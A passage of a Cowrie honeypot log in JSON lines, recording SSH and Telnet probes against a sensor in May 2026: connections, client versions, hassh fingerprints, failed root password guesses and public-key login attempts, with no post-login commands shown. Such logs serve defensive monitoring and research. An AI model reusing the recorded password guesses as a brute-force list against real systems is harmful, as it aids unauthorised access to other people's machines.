20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:15:36.830053Z","src_ip":"87.251.79.125","session":"38b54cf03d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13041988","message":"login attempt [root/13041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:15:37.048658Z","src_ip":"87.251.79.125","session":"38b54cf03d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:15:38.126661Z","src_ip":"87.251.79.125","session":"38b54cf03d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51082,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fee7d571aa8","protocol":"telnet","message":"New connection: 135.148.14.151:51082 (159.203.135.109:23) [session: 3fee7d571aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:16:13.027864Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.163.34.54","src_port":35822,"dst_ip":"159.203.135.109","dst_port":22,"session":"0250415497e0","protocol":"ssh","message":"New connection: 20.163.34.54:35822 (159.203.135.109:22) [session: 0250415497e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:16:48.817101Z"}
{"eventid":"cowrie.session.closed","duration":36.97874712944031,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:16:50.006481Z","src_ip":"135.148.14.151","session":"3fee7d571aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:16:58.879027Z","src_ip":"20.163.34.54","session":"0250415497e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.163.34.54","src_port":42798,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd47b04ee365","protocol":"ssh","message":"New connection: 20.163.34.54:42798 (159.203.135.109:22) [session: dd47b04ee365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:16:58.934644Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:16:58.938889Z","src_ip":"20.163.34.54","session":"dd47b04ee365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:16:58.944080Z","src_ip":"20.163.34.54","session":"dd47b04ee365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44938,"dst_ip":"159.203.135.109","dst_port":23,"session":"986be78f383a","protocol":"telnet","message":"New connection: 135.148.14.151:44938 (159.203.135.109:23) [session: 986be78f383a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:00.263677Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":32996,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9e3eaf4b3a","protocol":"ssh","message":"New connection: 109.237.96.109:32996 (159.203.135.109:22) [session: 6c9e3eaf4b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:22.160379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:22.165695Z","src_ip":"109.237.96.109","session":"6c9e3eaf4b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:22.260198Z","src_ip":"109.237.96.109","session":"6c9e3eaf4b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1313131","message":"login attempt [root/1313131] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:22.600417Z","src_ip":"109.237.96.109","session":"6c9e3eaf4b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:23.697490Z","src_ip":"109.237.96.109","session":"6c9e3eaf4b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57484,"dst_ip":"159.203.135.109","dst_port":23,"session":"72882ac2203e","protocol":"telnet","message":"New connection: 135.148.14.151:57484 (159.203.135.109:23) [session: 72882ac2203e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:26.507871Z"}
{"eventid":"cowrie.session.closed","duration":33.648317098617554,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:17:33.911871Z","src_ip":"135.148.14.151","session":"986be78f383a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.524763107299805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:00.032547Z","src_ip":"135.148.14.151","session":"72882ac2203e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55506,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fc0de77df0e","protocol":"telnet","message":"New connection: 135.148.14.151:55506 (159.203.135.109:23) [session: 3fc0de77df0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:22.143073Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39368,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a29a73fab5","protocol":"telnet","message":"New connection: 135.148.14.151:39368 (159.203.135.109:23) [session: b7a29a73fab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:47.917349Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54600,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed6ef14a1c41","protocol":"ssh","message":"New connection: 194.113.233.25:54600 (10.17.0.5:22) [session: ed6ef14a1c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:51.387746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:51.392811Z","src_ip":"194.113.233.25","session":"ed6ef14a1c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:51.479486Z","src_ip":"194.113.233.25","session":"ed6ef14a1c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111111111111111","message":"login attempt [root/11111111111111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:51.738099Z","src_ip":"194.113.233.25","session":"ed6ef14a1c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:52.827650Z","src_ip":"194.113.233.25","session":"ed6ef14a1c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.64656901359558,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:18:58.789365Z","src_ip":"135.148.14.151","session":"3fc0de77df0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.42.231.160","src_port":29976,"dst_ip":"10.17.0.5","dst_port":22,"session":"a05de60edad0","protocol":"ssh","message":"New connection: 89.42.231.160:29976 (10.17.0.5:22) [session: a05de60edad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:02.670372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:02.676133Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:02.765400Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:2b:d4:59:88:9a:61:11:55:22:1b:7f:a4:aa:27:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII1/pORERvpZXMvjNgnBXnYke9hMet2u+M7Erg6Y/yPZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3c:2b:d4:59:88:9a:61:11:55:22:1b:7f:a4:aa:27:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.165237Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:2b:d4:59:88:9a:61:11:55:22:1b:7f:a4:aa:27:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII1/pORERvpZXMvjNgnBXnYke9hMet2u+M7Erg6Y/yPZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.169942Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:b5:c3:5a:cf:dd:ba:7d:5e:e1:c1:7f:1d:58:90:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QH0SkrlGmq9gq4S3nQ+Z/NDvrx0hiQL0uYgVzJhcS8imDhadkWwcsZXpFQPDZthaDfDU+i+/oh3RrrR5xEvTxErcy2qAaQof6j0S8DapgjwahPHQfPvgjyDL2M3BuIURUkH2HFKtqyvnvwBsN1WqeAzLg668MggHXdDhzYjVrHmkx9vd56x7Ul1wKBcWGNXO/IphAA7K9YkgCCWNK7Y2usSHNCAaDtsvfcXGtC1L667bj6qcJX2IDN6TBmVRvgzSempVTI0d0jMFbkvYpaSu0dmQ6RcghN9yP+LdC4A1pSvq8l9Bat4F/Ytd22qjAQDebAnHB5MiCJdKSudjHLJefeRghhTM1/XghIg0UZywnVob1DbU87qDSlN9ep27sp320jhTTnw+U/6mHRTwXW4VFzQqY940NvS63p5ntdFwKjdbTgxfWYJfaPIEJeLtX5B54Os4n0BAJTBf+dakTfBwPZohfPJsh8TQrUGtGHX7XZWu4b18ME1E8EGCZJi4awY5aYkqT26u+IHE9MitpBDOgZuaVUVfDiH3sJs7aeuM5nCHNrSi3zaeqEUMCz9b9AsTKYdeu2v06HDACUk2y8Jb9RGg9Q1rJAC8nzrgUJ3r/hfBizLqJUgF+VvSQ0mwXvdvjN6Naj5GSDWsDZp8qVLwoKdfjw14qidfyqOMcDzD5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:b5:c3:5a:cf:dd:ba:7d:5e:e1:c1:7f:1d:58:90:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.263311Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:b5:c3:5a:cf:dd:ba:7d:5e:e1:c1:7f:1d:58:90:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QH0SkrlGmq9gq4S3nQ+Z/NDvrx0hiQL0uYgVzJhcS8imDhadkWwcsZXpFQPDZthaDfDU+i+/oh3RrrR5xEvTxErcy2qAaQof6j0S8DapgjwahPHQfPvgjyDL2M3BuIURUkH2HFKtqyvnvwBsN1WqeAzLg668MggHXdDhzYjVrHmkx9vd56x7Ul1wKBcWGNXO/IphAA7K9YkgCCWNK7Y2usSHNCAaDtsvfcXGtC1L667bj6qcJX2IDN6TBmVRvgzSempVTI0d0jMFbkvYpaSu0dmQ6RcghN9yP+LdC4A1pSvq8l9Bat4F/Ytd22qjAQDebAnHB5MiCJdKSudjHLJefeRghhTM1/XghIg0UZywnVob1DbU87qDSlN9ep27sp320jhTTnw+U/6mHRTwXW4VFzQqY940NvS63p5ntdFwKjdbTgxfWYJfaPIEJeLtX5B54Os4n0BAJTBf+dakTfBwPZohfPJsh8TQrUGtGHX7XZWu4b18ME1E8EGCZJi4awY5aYkqT26u+IHE9MitpBDOgZuaVUVfDiH3sJs7aeuM5nCHNrSi3zaeqEUMCz9b9AsTKYdeu2v06HDACUk2y8Jb9RGg9Q1rJAC8nzrgUJ3r/hfBizLqJUgF+VvSQ0mwXvdvjN6Naj5GSDWsDZp8qVLwoKdfjw14qidfyqOMcDzD5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.270047Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:8d:7a:8c:99:a8:d8:51:31:ef:ea:35:d6:4e:60:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3l/htmzRtDao5Pa3hhf4OmWtlTT1coOCR/EO06SLYx3L8iCuEo27j4O9JWjmsOS1MaxBmkmpedEhpKABqizrRgtMlgukZRa7CPBDaJvlBBK6SsfFRUcEZK1WT036zdsTMhVEmtSwQKodH66YpOSWbxJEYnDPPa+bNhjJCpgieOgXs/aJvJrMCgOlUDE66a5Y/vf+D1dMXPBPtKS0KMv6eObEpbVDISyPU80mKaGajVz+to7eNHx0o7pp0m5QLhIiPIbFE0D9Qqm2VWQlbjKFKrPgwrP85rfpiJ/Dp8JdVdQ0lBPCzg9kWuvdM/AALHUzSpLgc0mciNZXgdy58VK09jjHLwf7BED6nopppaNQIJr9TJCByoxCxG9MARzfl0NRVw/zY7J56WyEZKCcaKOH7l5OQyB6yeJLLBGFYpvFRvNDb6EdmbEh/daDOkpmwjCKtPfMqCliY5AnJ5VFt1B7qPOtcbQw32sH/ez7+3QabUVFRD7NZWCtqI0EcdoegEm1cdNYcOFUmrM87VP7nm9UUlKUE2wdlTwirmdTpUmOUusKQQtnFWNUwxDyktoEv+MnP3BV/+WWg3zCKj2IuT1Qw7NX6UWs9ToISHbRlYnN878zvKFZBGCV8pROkJ8E9YvTACyq7O3zgAcW7Nw8POOZVQuef3TJxiKvZLZQpDimL7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:8d:7a:8c:99:a8:d8:51:31:ef:ea:35:d6:4e:60:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.356396Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:8d:7a:8c:99:a8:d8:51:31:ef:ea:35:d6:4e:60:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3l/htmzRtDao5Pa3hhf4OmWtlTT1coOCR/EO06SLYx3L8iCuEo27j4O9JWjmsOS1MaxBmkmpedEhpKABqizrRgtMlgukZRa7CPBDaJvlBBK6SsfFRUcEZK1WT036zdsTMhVEmtSwQKodH66YpOSWbxJEYnDPPa+bNhjJCpgieOgXs/aJvJrMCgOlUDE66a5Y/vf+D1dMXPBPtKS0KMv6eObEpbVDISyPU80mKaGajVz+to7eNHx0o7pp0m5QLhIiPIbFE0D9Qqm2VWQlbjKFKrPgwrP85rfpiJ/Dp8JdVdQ0lBPCzg9kWuvdM/AALHUzSpLgc0mciNZXgdy58VK09jjHLwf7BED6nopppaNQIJr9TJCByoxCxG9MARzfl0NRVw/zY7J56WyEZKCcaKOH7l5OQyB6yeJLLBGFYpvFRvNDb6EdmbEh/daDOkpmwjCKtPfMqCliY5AnJ5VFt1B7qPOtcbQw32sH/ez7+3QabUVFRD7NZWCtqI0EcdoegEm1cdNYcOFUmrM87VP7nm9UUlKUE2wdlTwirmdTpUmOUusKQQtnFWNUwxDyktoEv+MnP3BV/+WWg3zCKj2IuT1Qw7NX6UWs9ToISHbRlYnN878zvKFZBGCV8pROkJ8E9YvTACyq7O3zgAcW7Nw8POOZVQuef3TJxiKvZLZQpDimL7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.370046Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:dd:56:04:16:d3:1e:fa:99:dc:c5:6f:61:db:52:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvXViJ8DQhFb93H9QiKwdfUWKIX+O6WEBivNyw9AhLveZ4YtAcR7kgudkIPAwUqVLAbKTUmV9VDjS2aSSRXHzZKdj33Fu2u9JGCZB8X5PKVTH3tE5RL4P77jKLlBqAd0uKv/0fp4B9H9/1COEmTIrWhyig57u3kCwqsZiQx4KMeMiPHJ9D00t8K6FZINmTGmTxMqvR+lJp8qBeHncdOqD/+E64okErW5colAVpsKCUIStLDBAPOw6nsVioyvX58evXJKLrjluFo0dKqTsPgOE2h8Gz9o7Av/CWmol5UY/pJbpaC0IE4eIYoitGjs4OJxkpAEjfR090EvRNNhbT+dA9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:dd:56:04:16:d3:1e:fa:99:dc:c5:6f:61:db:52:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.470518Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:dd:56:04:16:d3:1e:fa:99:dc:c5:6f:61:db:52:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvXViJ8DQhFb93H9QiKwdfUWKIX+O6WEBivNyw9AhLveZ4YtAcR7kgudkIPAwUqVLAbKTUmV9VDjS2aSSRXHzZKdj33Fu2u9JGCZB8X5PKVTH3tE5RL4P77jKLlBqAd0uKv/0fp4B9H9/1COEmTIrWhyig57u3kCwqsZiQx4KMeMiPHJ9D00t8K6FZINmTGmTxMqvR+lJp8qBeHncdOqD/+E64okErW5colAVpsKCUIStLDBAPOw6nsVioyvX58evXJKLrjluFo0dKqTsPgOE2h8Gz9o7Av/CWmol5UY/pJbpaC0IE4eIYoitGjs4OJxkpAEjfR090EvRNNhbT+dA9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.480763Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:90:ce:6d:7c:65:81:cb:cd:cc:ef:26:cd:5b:23:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhQ2Qfju6Iy3VFgnEpO9Sj9GBXh0FJ2EjOTFGe/mm1w9G+SPVQXcGMVHgHw8jAyBDSQSGonaUhORRBPMYP2Qli9Kk5BbVQQoCqm8MkOejZKTmOsJ928odDPYuYixWpopArfkgn5AmK5xLn8VPKsalo0qL15oHR2ETLpSZ4D0VBcK03KzfKKX7ZuuUjRjZ1FDGafiK5mQeRcQ+Ar1zeDyPfminIZmCrw+xkdgNqB1lIjNht4bFO6eOdd03d3xNewQjFbzIN8pHin0T9Vb9gjN4gTReu6jMUPahx2IDGDlYgwT51RqqB3tv3czEqZ00SR09xxsfbKtAjOdRTuqs5LQcJZ+whv23kOSqsq33TWWxFsAps1CrJiI4E/NZVkmwTDwyNc8Vn7i6OCjcH2MHipapweznTAIqomPzsNXnvps99M60Kjp8Zfpz0N+Zk3IyenRrP0tnpeM8eQJKGpXQhVYZHMbuuc71u0AF1fH+Nt/lMVRKDEUmtIPyhpgo3O7z1kgE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:90:ce:6d:7c:65:81:cb:cd:cc:ef:26:cd:5b:23:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:03.573970Z","src_ip":"89.42.231.160","session":"a05de60edad0","protocol":"ssh"}
